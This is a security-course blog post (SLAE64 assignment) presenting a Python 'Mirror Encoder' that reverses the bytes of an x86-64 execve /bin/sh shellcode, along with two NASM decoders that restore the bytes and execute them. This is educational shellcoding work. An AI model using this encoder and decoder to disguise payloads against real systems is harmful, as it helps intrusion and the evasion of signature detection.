This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-6470
Assignment #4
The aim of this assignment is to write a custom shellcode encoder and decoder.
The first thing to do is to dump all the opcodes of the shellcode and think to a way to mix all of them.
Here I’ve chosen a simple but effective algorithm. The encoder starts to swap the first and last opcode then continues to swap opcodes until it reaches the middle of the opcodes. My implementation only works if there is an even number of opcodes. If not, you just need to add one dummy opcode like a NOP. I’ve called this encoder, the « Mirror Encoder ».
Here is a simple diagram showing how this algorithm works :
Encoder
Here is a screenshot of this running encoder and the encoded shellcode :
Mirror-Encoder.py :
#!/usr/bin/python # This shellcode encoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification : # http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html # # Author : SLAE64-PA-6470 (kahlon81) # python Mirror-Encoder.py shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05") encoded = "" encoded2 = "" r2 = "" l2 = "" rr2 = "" ll2 = "" print 'Len: %d' % len(bytearray(shellcode)) print 'Encoded shellcode ...' arr = bytearray(shellcode) arr2 = [(arr[i], arr[-i-1]) for i in range(len(arr) // 2)] #print arr2 for x in range(len(arr2)): y = arr2[x] # encode for C r = '\\x' r += '%02x' % y[0] r2 = r + r2 l = '\\x' l += '%02x' % y[1] l2 = l2 + l # encode for ASM r = '0x' r += '%02x,' % y[0] rr2 = r + rr2 l = '0x' l += '%02x,' % y[1] ll2 = ll2 + l # Build encoded strings encoded = l2 + r2 encoded2 = ll2 + rr2 print 'opcodes for C :' print encoded print 'opcodes for ASM :' print encoded2
Decoder
The decoder is written in assemby and just do the reverse swap.
Here is a screenshot of the running decoder. It decodes the previously encoded shellcode and run it :
The code is self-explanatory, 2 versions available.
Full source code is available here and on my Github account.
Version 1
; This shellcode decoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification : ; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html ; ; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; ; $ nasm -f elf64 Mirror-Decoder.nasm -o Mirror-Decoder.o ; $ ld Mirror-Decoder.o -o Mirror-Decoder global _start section .data encoded_sc: db 0x05,0x0f,0x3b,0xc0,0x83,0x48,0xe6,0x89,0x48,0x57,0xe2,0x89,0x48,0x50,0xe7,0x89,0x48,0x53,0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f,0xbb,0x48,0x50,0xc0,0x31,0x48 encoded_sc_size equ $ - encoded_sc section .text _start: lea r8, [rel encoded_sc] xor rcx, rcx ; offset to first SC byte mov rdx, encoded_sc_size - 1 ; offset to last SC byte = SC length -1 mov r9, encoded_sc_size ; r9 = SC size / 2 shr r9, 1 decode: cmp rcx, r9 ; SC length / 2 - stop swapping bytes when we are in the middle je encoded_sc ; go to decoded shellcode mov al, byte [r8+rcx] ; save values mov bl, byte [r8+rdx] mov byte [r8+rcx], bl ; swap values mov byte [r8+rdx], al inc rcx ; go to next byte from left to right dec rdx ; go to next byte from right to left jmp short decode
Version 2 (JUMP-CALL-POP)
; This shellcode decoder has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification : ; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html ; ; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; ; $ nasm -f elf64 Mirror-Decoder.nasm -o Mirror-Decoder.o ; $ ld Mirror-Decoder.o -o Mirror-Decoder global _start section .text _start: jmp ONSTACK GO_LOOP: pop r8 ; r8 is the SC address. pop esi crash ?; xor rcx, rcx ; offset to first SC byte mov rdx, SC_SIZE - 1 ; offset to last SC byte = SC length -1 mov r9, SC_SIZE ; r9 = SC_SIZE / 2 shr r9, 1 LOOP: cmp rcx, r9 ; SC length / 2 - stop swapping bytes when we are in the middle je SC ; go to decoded shell code mov al, byte [r8+rcx] ; save values mov bl, byte [r8+rdx] mov byte [r8+rcx], bl ; swap values mov byte [r8+rdx], al inc rcx ; go to next byte from left to right dec rdx ; go to next byte from right to left jmp LOOP section .data ONSTACK: call GO_LOOP SC: db 0x05,0x0f,0x3b,0xc0,0x83,0x48,0xe6,0x89,0x48,0x57,0xe2,0x89,0x48,0x50,0xe7,0x89,0x48,0x53,0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f,0xbb,0x48,0x50,0xc0,0x31,0x48 SC_SIZE equ $ - SC